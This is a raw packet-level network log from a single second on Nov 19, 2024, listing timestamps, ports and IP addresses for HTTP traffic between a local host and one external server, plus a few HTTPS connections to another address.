Nov 19, 2024 01:01:24.274116993 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274144888 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274162054 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274173975 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274202108 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274216890 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274218082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274245977 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274270058 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274316072 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274331093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274401903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274425030 CET	49758	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.274440050 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274456978 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274456978 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.274473906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274473906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274509907 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274514914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274530888 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274547100 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274557114 CET	49758	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.274564028 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274581909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274595022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274597883 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274657011 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274662018 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274677992 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274693966 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274701118 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274710894 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274729013 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274734974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274740934 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274760962 CET	49758	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.274770021 CET	443	49758	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.274791956 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.274877071 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274892092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.274938107 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275392056 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275408983 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275433064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275444031 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275449991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275460958 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275476933 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275486946 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275492907 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275510073 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275537014 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275542974 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275552988 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275577068 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275582075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275597095 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275598049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275614023 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275634050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275640011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275656939 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275665998 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275672913 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275690079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275698900 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275705099 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275722980 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275736094 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275741100 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275755882 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275757074 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275773048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275779009 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275790930 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275805950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.275813103 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.275844097 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276001930 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276017904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276032925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276047945 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276058912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276079893 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276082993 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276099920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276118994 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276146889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276185036 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276201010 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276217937 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276232958 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276247978 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276257992 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276272058 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276274920 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276287079 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276290894 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276308060 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276333094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276335001 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276349068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276357889 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276365042 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276381016 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276395082 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276403904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276412010 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276422977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276427031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276428938 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276442051 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276483059 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276550055 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276575089 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276592970 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276623011 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276684999 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276700974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276715994 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276727915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276729107 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276745081 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276755095 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276765108 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276774883 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276789904 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276798964 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276803970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276819944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276834011 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276835918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276865005 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276865005 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276885986 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276886940 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276902914 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276920080 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276930094 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276952982 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276961088 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276977062 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.276985884 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.276994944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277010918 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277033091 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277064085 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277065039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277081013 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277096987 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277105093 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277111053 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277123928 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277126074 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277142048 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277143955 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277174950 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277184010 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277193069 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277199984 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277215004 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277230024 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277231932 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277246952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277255058 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277288914 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277358055 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277380943 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277396917 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277409077 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277414083 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277430058 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277436972 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277472973 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277477026 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277493000 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277508974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277518988 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277523994 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277554035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277560949 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277575016 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277585983 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277591944 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.277621031 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.277650118 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.282650948 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.284713984 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.284822941 CET	49755	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.285073996 CET	49755	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.285073996 CET	49755	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.285087109 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.285094976 CET	443	49755	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.287626982 CET	49759	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.287677050 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.287756920 CET	49759	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.287806988 CET	443	49756	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.287955046 CET	443	49756	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.288079977 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.288079977 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.288079977 CET	49756	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.288777113 CET	49759	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.288795948 CET	443	49759	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.289915085 CET	49760	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.289989948 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.290077925 CET	49760	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.290266037 CET	49760	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:24.290313005 CET	443	49760	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:24.435513020 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435532093 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435550928 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435564995 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435580969 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435580015 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435600042 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435617924 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435617924 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435646057 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435647964 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435661077 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435669899 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435678005 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435695887 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435704947 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435712099 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435728073 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435740948 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435753107 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435766935 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435779095 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435796022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435798883 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435811043 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435827017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435842991 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435844898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435868025 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435903072 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435925007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435941935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435957909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435969114 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.435973883 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435988903 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.435988903 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436006069 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436019897 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436031103 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436038017 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436039925 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436065912 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436074018 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436089039 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436094999 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436105967 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436115026 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436120987 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436134100 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436136007 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436152935 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436163902 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436170101 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436186075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436197042 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436202049 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436218023 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436219931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436249971 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436280012 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436495066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436510086 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436525106 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436538935 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436542034 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436558008 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436559916 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436574936 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436589956 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436603069 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436604977 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436620951 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436624050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436636925 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436652899 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436657906 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436667919 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436683893 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436697960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436708927 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436722994 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436733961 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436748981 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436748981 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436765909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436779022 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436779976 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436794996 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436800957 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436814070 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436822891 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436866045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436866045 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436888933 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436903954 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436918974 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436945915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436945915 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436948061 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436964989 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436974049 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436980009 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.436994076 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.436996937 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437010050 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437012911 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437027931 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437043905 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437048912 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437058926 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437076092 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437084913 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437092066 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437105894 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437107086 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437124014 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437138081 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437140942 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437155962 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437170029 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437174082 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437191963 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437211037 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437438011 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437453032 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437475920 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437484026 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437494993 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:24.437505960 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:24.437511921 CET	80	49736	185.215.113.206	192.168.2.6
